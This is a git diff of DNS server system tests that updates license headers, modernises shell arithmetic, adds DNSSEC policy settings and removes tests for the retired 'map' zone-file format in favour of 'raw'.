+++ b/bin/tests/system/masterfile/ns1/ttl2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterfile/ns2/example.db b/bin/tests/system/masterfile/ns2/example.db
index 562a995e0a..414403a10e 100644
--- a/bin/tests/system/masterfile/ns2/example.db
+++ b/bin/tests/system/masterfile/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterfile/ns2/named.conf.in b/bin/tests/system/masterfile/ns2/named.conf.in
index ae41ffed87..1f4ef912c7 100644
--- a/bin/tests/system/masterfile/ns2/named.conf.in
+++ b/bin/tests/system/masterfile/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/masterfile/setup.sh b/bin/tests/system/masterfile/setup.sh
index d476ad262e..46c18c406a 100644
--- a/bin/tests/system/masterfile/setup.sh
+++ b/bin/tests/system/masterfile/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/masterfile/tests.sh b/bin/tests/system/masterfile/tests.sh
index a6d6b054b2..5755088ed7 100644
--- a/bin/tests/system/masterfile/tests.sh
+++ b/bin/tests/system/masterfile/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -17,7 +21,7 @@ status=0
 n=0
 
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test master file \$INCLUDE semantics ($n)"
 $DIG $DIGOPTS +nostats +nocmd include. axfr @10.53.0.1 >dig.out.$n
 
@@ -27,33 +31,33 @@ $DIG $DIGOPTS +nostats +nocmd ttl2. axfr @10.53.0.1 >>dig.out.$n
 echo_i "test of master file RFC1035 TTL and \$TTL semantics ($n)"
 $DIG $DIGOPTS +nostats +nocmd ttl2. axfr @10.53.0.1 >>dig.out.$n
 
-$DIFF dig.out.$n knowngood.dig.out || status=1
+diff dig.out.$n knowngood.dig.out || status=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test that the nameserver is running with a missing master file ($n)"
 $DIG $DIGOPTS +tcp +noall +answer example soa @10.53.0.2 > dig.out.$n
 grep SOA dig.out.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test that the nameserver returns SERVFAIL for a missing master file ($n)"
 $DIG $DIGOPTS +tcp +all missing soa @10.53.0.2 > dig.out.$n
 grep "status: SERVFAIL" dig.out.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "test owner inheritance after "'$INCLUDE'" ($n)"
 $CHECKZONE -Dq example zone/inheritownerafterinclude.db > checkzone.out$n
-$DIFF checkzone.out$n zone/inheritownerafterinclude.good || ret=1
+diff checkzone.out$n zone/inheritownerafterinclude.good || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/masterfile/tests_sh_masterfile.py b/bin/tests/system/masterfile/tests_sh_masterfile.py
new file mode 100644
index 0000000000..1556892af3
--- /dev/null
+++ b/bin/tests/system/masterfile/tests_sh_masterfile.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_masterfile(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/masterfile/zone/inheritownerafterinclude.db b/bin/tests/system/masterfile/zone/inheritownerafterinclude.db
index ce7bffe0f7..11b97eaf45 100644
--- a/bin/tests/system/masterfile/zone/inheritownerafterinclude.db
+++ b/bin/tests/system/masterfile/zone/inheritownerafterinclude.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterfile/zone/nameservers.db b/bin/tests/system/masterfile/zone/nameservers.db
index 76a1e8974b..f7b65254b2 100644
--- a/bin/tests/system/masterfile/zone/nameservers.db
+++ b/bin/tests/system/masterfile/zone/nameservers.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterformat/clean.sh b/bin/tests/system/masterformat/clean.sh
index 80289e9267..e3cc44987b 100755
--- a/bin/tests/system/masterformat/clean.sh
+++ b/bin/tests/system/masterformat/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,8 +15,11 @@ rm -f ./ns1/example.db.raw*
 rm -f ./ns1/example.db.compat
 rm -f ./ns1/example.db.serial.raw
 rm -f ./ns1/large.db ./ns1/large.db.raw
-rm -f ./ns1/example.db.map ./ns1/signed.db.map
+rm -f ./ns1/signed.db.raw
 rm -f ./ns1/session.key
+rm -f ./ns1/signed.db.raw.jbk
+rm -f ./ns1/signed.db.raw.signed
+rm -f ./ns1/signed.db.raw.signed.jnl
 rm -f ./dig.out.*
 rm -f ./dig.out
 rm -f ./*/named.memstats
@@ -25,8 +30,8 @@ rm -f ./ns2/transfer.db.*
 rm -f ./ns2/formerly-text.db
 rm -f ./ns2/db-*
 rm -f ./ns2/large.bk
-rm -f ./ns3/example.db.map ./ns3/dynamic.db.map
-rm -f ./baseline.txt ./text.1 ./text.2 ./raw.1 ./raw.2 ./map.1 ./map.2 ./map.5 ./text.5 ./badmap
+rm -f ./ns3/example.db.raw ./ns3/dynamic.db.raw
+rm -f ./baseline.txt ./text.* ./raw.*
 rm -f ./ns1/Ksigned.* ./ns1/dsset-signed. ./ns1/signed.db.signed
 rm -f ./rndc.out
 rm -f ./ns*/named.lock
diff --git a/bin/tests/system/masterformat/ns1/compile.sh b/bin/tests/system/masterformat/ns1/compile.sh
index d6e978f75d..0c2e7fbd4b 100755
--- a/bin/tests/system/masterformat/ns1/compile.sh
+++ b/bin/tests/system/masterformat/ns1/compile.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,9 +16,9 @@
 
 $CHECKZONE -D -F raw -o example.db.raw example \
         example.db > /dev/null 2>&1
-$CHECKZONE -D -F map -o ../ns3/example.db.map example \
+$CHECKZONE -D -F raw -o ../ns3/example.db.raw example \
         example.db > /dev/null 2>&1
-$CHECKZONE -D -F map -o ../ns3/dynamic.db.map dynamic \
+$CHECKZONE -D -F raw -o ../ns3/dynamic.db.raw dynamic \
         example.db > /dev/null 2>&1
 $CHECKZONE -D -F raw=1 -o example.db.raw1 example-explicit \
         example.db > /dev/null 2>&1
@@ -25,10 +27,8 @@ $CHECKZONE -D -F raw=0 -o example.db.compat example-compat \
 $CHECKZONE -D -F raw -L 3333 -o example.db.serial.raw example \
         example.db > /dev/null 2>&1
 $CHECKZONE -D -F raw -o large.db.raw large large.db > /dev/null 2>&1
-$CHECKZONE -D -F map -o example.db.map example-map \
-        example.db > /dev/null 2>&1
 
 $KEYGEN -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK signed > /dev/null 2>&1
 $KEYGEN -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" signed > /dev/null 2>&1
 $SIGNER -S -f signed.db.signed -o signed signed.db > /dev/null
-$CHECKZONE -D -F map -o signed.db.map signed signed.db.signed > /dev/null 2>&1
+$CHECKZONE -D -F raw -o signed.db.raw signed signed.db.signed > /dev/null 2>&1
diff --git a/bin/tests/system/masterformat/ns1/example.db b/bin/tests/system/masterformat/ns1/example.db
index 0e48b79c9f..2dee1a9d9e 100644
--- a/bin/tests/system/masterformat/ns1/example.db
+++ b/bin/tests/system/masterformat/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -35,6 +37,7 @@ dnskey			300	DNSKEY	256 3 13 (
 					3uhPJsJ7ivpbh+w==
 					)
 private-dnskey		300	DNSKEY	256 3 253 ( AAo= )
+ds			300	NS	.
 ds			300	DS	30795 1 1 (
 					310D27F4D82C1FC2400704EA9939FE6E1CEA
 					A3B9 )
diff --git a/bin/tests/system/masterformat/ns1/large.db.in b/bin/tests/system/masterformat/ns1/large.db.in
index b30b456f52..5a818632a8 100644
--- a/bin/tests/system/masterformat/ns1/large.db.in
+++ b/bin/tests/system/masterformat/ns1/large.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterformat/ns1/named.conf.in b/bin/tests/system/masterformat/ns1/named.conf.in
index 2b7c11c991..ca556f9747 100644
--- a/bin/tests/system/masterformat/ns1/named.conf.in
+++ b/bin/tests/system/masterformat/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,17 +22,25 @@ options {
 	notify no;
 	session-keyfile "session.key";
 	servfail-ttl 0;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+dnssec-policy "masterformat" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
 zone "example" {
 	type primary;
 	masterfile-format raw;
@@ -77,9 +87,9 @@ zone "large" {
 
 zone "signed" {
 	type primary;
-	file "signed.db.map";
-	masterfile-format map;
+	file "signed.db.raw";
+	masterfile-format raw;
 	allow-transfer { any; };
 	update-policy local;
-	auto-dnssec maintain;
+	dnssec-policy masterformat;
 };
diff --git a/bin/tests/system/masterformat/ns1/signed.db b/bin/tests/system/masterformat/ns1/signed.db
index 20fd00e856..55d6fae5c5 100644
--- a/bin/tests/system/masterformat/ns1/signed.db
+++ b/bin/tests/system/masterformat/ns1/signed.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterformat/ns2/formerly-text.db.in b/bin/tests/system/masterformat/ns2/formerly-text.db.in
index 7a6fa8c4b0..02ce216a54 100644
--- a/bin/tests/system/masterformat/ns2/formerly-text.db.in
+++ b/bin/tests/system/masterformat/ns2/formerly-text.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/masterformat/ns2/named.conf.in b/bin/tests/system/masterformat/ns2/named.conf.in
index 4df1d37990..db68aef4d0 100644
--- a/bin/tests/system/masterformat/ns2/named.conf.in
+++ b/bin/tests/system/masterformat/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	recursion no;
 	notify no;
 	servfail-ttl 0;
+	dnssec-validation no;
 };
 
 zone "example" {
diff --git a/bin/tests/system/masterformat/ns3/named.conf.in b/bin/tests/system/masterformat/ns3/named.conf.in
index 075e4c1b14..deaed8bd01 100644
--- a/bin/tests/system/masterformat/ns3/named.conf.in
+++ b/bin/tests/system/masterformat/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,11 +20,12 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -31,13 +34,13 @@ controls {
 
 zone "example" {
 	type primary;
-	masterfile-format map;
-	file "example.db.map";
+	masterfile-format raw;
+	file "example.db.raw";
 };
 
 zone "dynamic" {
 	type primary;
-	masterfile-format map;
-	file "dynamic.db.map";
+	masterfile-format raw;
+	file "dynamic.db.raw";
 	allow-update { any; };
 };
diff --git a/bin/tests/system/masterformat/setup.sh b/bin/tests/system/masterformat/setup.sh
index 78613441ca..d5fe367aad 100755
--- a/bin/tests/system/masterformat/setup.sh
+++ b/bin/tests/system/masterformat/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/masterformat/tests.sh b/bin/tests/system/masterformat/tests.sh
index d17f4983b5..da9ec87ebf 100755
--- a/bin/tests/system/masterformat/tests.sh
+++ b/bin/tests/system/masterformat/tests.sh
@@ -1,36 +1,30 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # shellcheck source=conf.sh
 . ../conf.sh
 
 status=0
 n=1
 
-ismap () {
-    # shellcheck disable=SC2016
-    $PERL -e 'binmode STDIN;
-	     read(STDIN, $input, 8);
-             ($style, $version) = unpack("NN", $input);
-             exit 1 if ($style != 3 || $version > 1);' < "$1"
-    return $?
-}
-
 israw () {
     # shellcheck disable=SC2016
     $PERL -e 'binmode STDIN;
              read(STDIN, $input, 8);
              ($style, $version) = unpack("NN", $input);
-             exit 1 if ($style != 2 || $version > 1);' < "$1"
-    return $?
+             exit 1 if ($style != 2 || $version > 1);' < "$1" || return $?
 }
 
 isfull () {
@@ -49,7 +43,7 @@ rawversion () {
              if (length($input) < 8) { print "not raw\n"; exit 0; };
              ($style, $version) = unpack("NN", $input);
              print ($style == 2 || $style == 3 ? "$version\n" :
-		"not raw or map\n");' < "$1"
+		"not raw\n");' < "$1"
 }
 
 sourceserial () {
@@ -80,7 +74,7 @@ stomp () {
 
 restart () {
     sleep 1
-    start_server --noclean --restart --port "${PORT}" masterformat ns3
+    start_server --noclean --restart --port "${PORT}" ns3
 }
 
 dig_with_opts() {
@@ -124,11 +118,9 @@ ret=0
 israw ns1/example.db.raw || ret=1
 israw ns1/example.db.raw1 || ret=1
 israw ns1/example.db.compat || ret=1
-ismap ns1/example.db.map || ret=1
 [ "$(rawversion ns1/example.db.raw)" -eq 1 ] || ret=1
 [ "$(rawversion ns1/example.db.raw1)" -eq 1 ] || ret=1
 [ "$(rawversion ns1/example.db.compat)" -eq 0 ] || ret=1
-[ "$(rawversion ns1/example.db.map)" -eq 1 ] || ret=1
 n=$((n+1))
 [ $ret -eq 0 ] || echo_i "failed"
 status=$((status+ret))
@@ -199,28 +191,17 @@ n=$((n+1))
 [ $ret -eq 0 ] || echo_i "failed"
 status=$((status+ret))
 
-echo_i "checking format transitions: text->raw->map->text ($n)"
+echo_i "checking format transitions: text->raw->text ($n)"
 ret=0
 $CHECKZONE -D -f text -F text -o baseline.txt example.nil ns1/example.db > /dev/null
 $CHECKZONE -D -f text -F raw -o raw.1 example.nil baseline.txt > /dev/null
-$CHECKZONE -D -f raw -F map -o map.1 example.nil raw.1 > /dev/null
-$CHECKZONE -D -f map -F text -o text.1 example.nil map.1 > /dev/null
+$CHECKZONE -D -f raw -F text -o text.1 example.nil raw.1 > /dev/null
 cmp -s baseline.txt text.1 || ret=0
 n=$((n+1))
 [ $ret -eq 0 ] || echo_i "failed"
 status=$((status+ret))
 
-echo_i "checking format transitions: text->map->raw->text ($n)"
-ret=0
-$CHECKZONE -D -f text -F map -o map.2 example.nil baseline.txt > /dev/null
-$CHECKZONE -D -f map -F raw -o raw.2 example.nil map.2 > /dev/null
-$CHECKZONE -D -f raw -F text -o text.2 example.nil raw.2 > /dev/null
-cmp -s baseline.txt text.2 || ret=0
-n=$((n+1))
-[ $ret -eq 0 ] || echo_i "failed"
-status=$((status+ret))
-
-echo_i "checking map format loading with journal file rollforward ($n)"
+echo_i "checking raw format loading with journal file rollforward ($n)"
 ret=0
 $NSUPDATE <<END > /dev/null || status=1
 server 10.53.0.3 ${PORT}
@@ -234,7 +215,7 @@ grep "added text" "dig.out.dynamic1.ns3.test$n" > /dev/null 2>&1 || ret=1
 dig_with_opts +comm @10.53.0.3 added.dynamic txt > "dig.out.dynamic2.ns3.test$n"
 grep "NXDOMAIN" "dig.out.dynamic2.ns3.test$n" > /dev/null 2>&1 || ret=1
 # using "rndc halt" ensures that we don't dump the zone file
-$PERL ../stop.pl --use-rndc --halt --port ${CONTROLPORT} masterformat ns3
+stop_server --use-rndc --halt --port ${CONTROLPORT} ns3
 restart
 check_added_text() {
 	dig_with_opts @10.53.0.3 newtext.dynamic txt > "dig.out.dynamic3.ns3.test$n" || return 1
@@ -248,7 +229,7 @@ n=$((n+1))
 [ $ret -eq 0 ] || echo_i "failed"
 status=$((status+ret))
 
-echo_i "checking map format file dumps correctly ($n)"
+echo_i "checking raw format file dumps correctly ($n)"
 ret=0
 $NSUPDATE <<END > /dev/null || status=1
 server 10.53.0.3 ${PORT}
@@ -259,7 +240,7 @@ END
 dig_with_opts @10.53.0.3 moretext.dynamic txt > "dig.out.dynamic1.ns3.test$n"
 grep "more text" "dig.out.dynamic1.ns3.test$n" > /dev/null 2>&1 || ret=1
 # using "rndc stop" will cause the zone file to flush before shutdown
-$PERL ../stop.pl --use-rndc --port ${CONTROLPORT} masterformat ns3
+stop_server --use-rndc --port ${CONTROLPORT} ns3
 rm ns3/*.jnl
 restart
 #shellcheck disable=SC2034
@@ -274,44 +255,7 @@ n=$((n+1))
 [ $ret -eq 0 ] || echo_i "failed"
 status=$((status+ret))
 
-# stomp on the file header
-echo_i "checking corrupt map files fail to load (bad file header) ($n)"
-ret=0
-$CHECKZONE -D -f text -F map -o map.5 example.nil baseline.txt > /dev/null
-cp map.5 badmap
-stomp badmap 0 32 99
-$CHECKZONE -D -f map -F text -o text.5 example.nil badmap > /dev/null
-[ $? = 1 ] || ret=1
-n=$((n+1))
-[ $ret -eq 0 ] || echo_i "failed"
-status=$((status+ret))
-
-# stomp on the file data so it hashes differently.
-# these are small and subtle changes, so that the resulting file
-# would appear to be a legitimate map file and would not trigger an
-# assertion failure if loaded into memory, but should still fail to
-# load because of a SHA1 hash mismatch.
-echo_i "checking corrupt map files fail to load (bad node header) ($n)"
-ret=0
-cp map.5 badmap
-stomp badmap 2754 2 99
-$CHECKZONE -D -f map -F text -o text.5 example.nil badmap > /dev/null
-[ $? = 1 ] || ret=1
-n=$((n+1))
-[ $ret -eq 0 ] || echo_i "failed"
-status=$((status+ret))
-
-echo_i "checking corrupt map files fail to load (bad node data) ($n)"
-ret=0
-cp map.5 badmap
-stomp badmap 2897 5 127
-$CHECKZONE -D -f map -F text -o text.5 example.nil badmap > /dev/null
-[ $? = 1 ] || ret=1
-n=$((n+1))
-[ $ret -eq 0 ] || echo_i "failed"
-status=$((status+ret))
-
-echo_i "checking map format zone is scheduled for resigning (compilezone) ($n)"
+echo_i "checking raw format zone is scheduled for resigning (compilezone) ($n)"
 ret=0
 rndccmd 10.53.0.1 zonestatus signed > rndc.out 2>&1 || ret=1
 grep 'next resign' rndc.out > /dev/null 2>&1 || ret=1
@@ -319,10 +263,10 @@ n=$((n+1))
 [ $ret -eq 0 ] || echo_i "failed"
 status=$((status+ret))
 
-echo_i "checking map format zone is scheduled for resigning (signzone) ($n)"
+echo_i "checking raw format zone is scheduled for resigning (signzone) ($n)"
 ret=0
 rndccmd 10.53.0.1 freeze signed > rndc.out 2>&1 || ret=1
-(cd ns1 || exit 1; $SIGNER -S -O map -f signed.db.map -o signed signed.db > /dev/null)
+(cd ns1 || exit 1; $SIGNER -S -O raw -f signed.db.raw -o signed signed.db > /dev/null)
 rndc_reload ns1 10.53.0.1 signed
 rndccmd 10.53.0.1 zonestatus signed > rndc.out 2>&1 || ret=1
 grep 'next resign' rndc.out > /dev/null 2>&1 || ret=1
diff --git a/bin/tests/system/masterformat/tests_sh_masterformat.py b/bin/tests/system/masterformat/tests_sh_masterformat.py
new file mode 100644
index 0000000000..b70f036d08
--- /dev/null
+++ b/bin/tests/system/masterformat/tests_sh_masterformat.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_masterformat(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/metadata/child.db b/bin/tests/system/metadata/child.db
index 2905a56340..35fff9c446 100644
--- a/bin/tests/system/metadata/child.db
+++ b/bin/tests/system/metadata/child.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/metadata/clean.sh b/bin/tests/system/metadata/clean.sh
index 8c9f2525b8..bac7f18c37 100644
--- a/bin/tests/system/metadata/clean.sh
+++ b/bin/tests/system/metadata/clean.sh
@@ -1,16 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
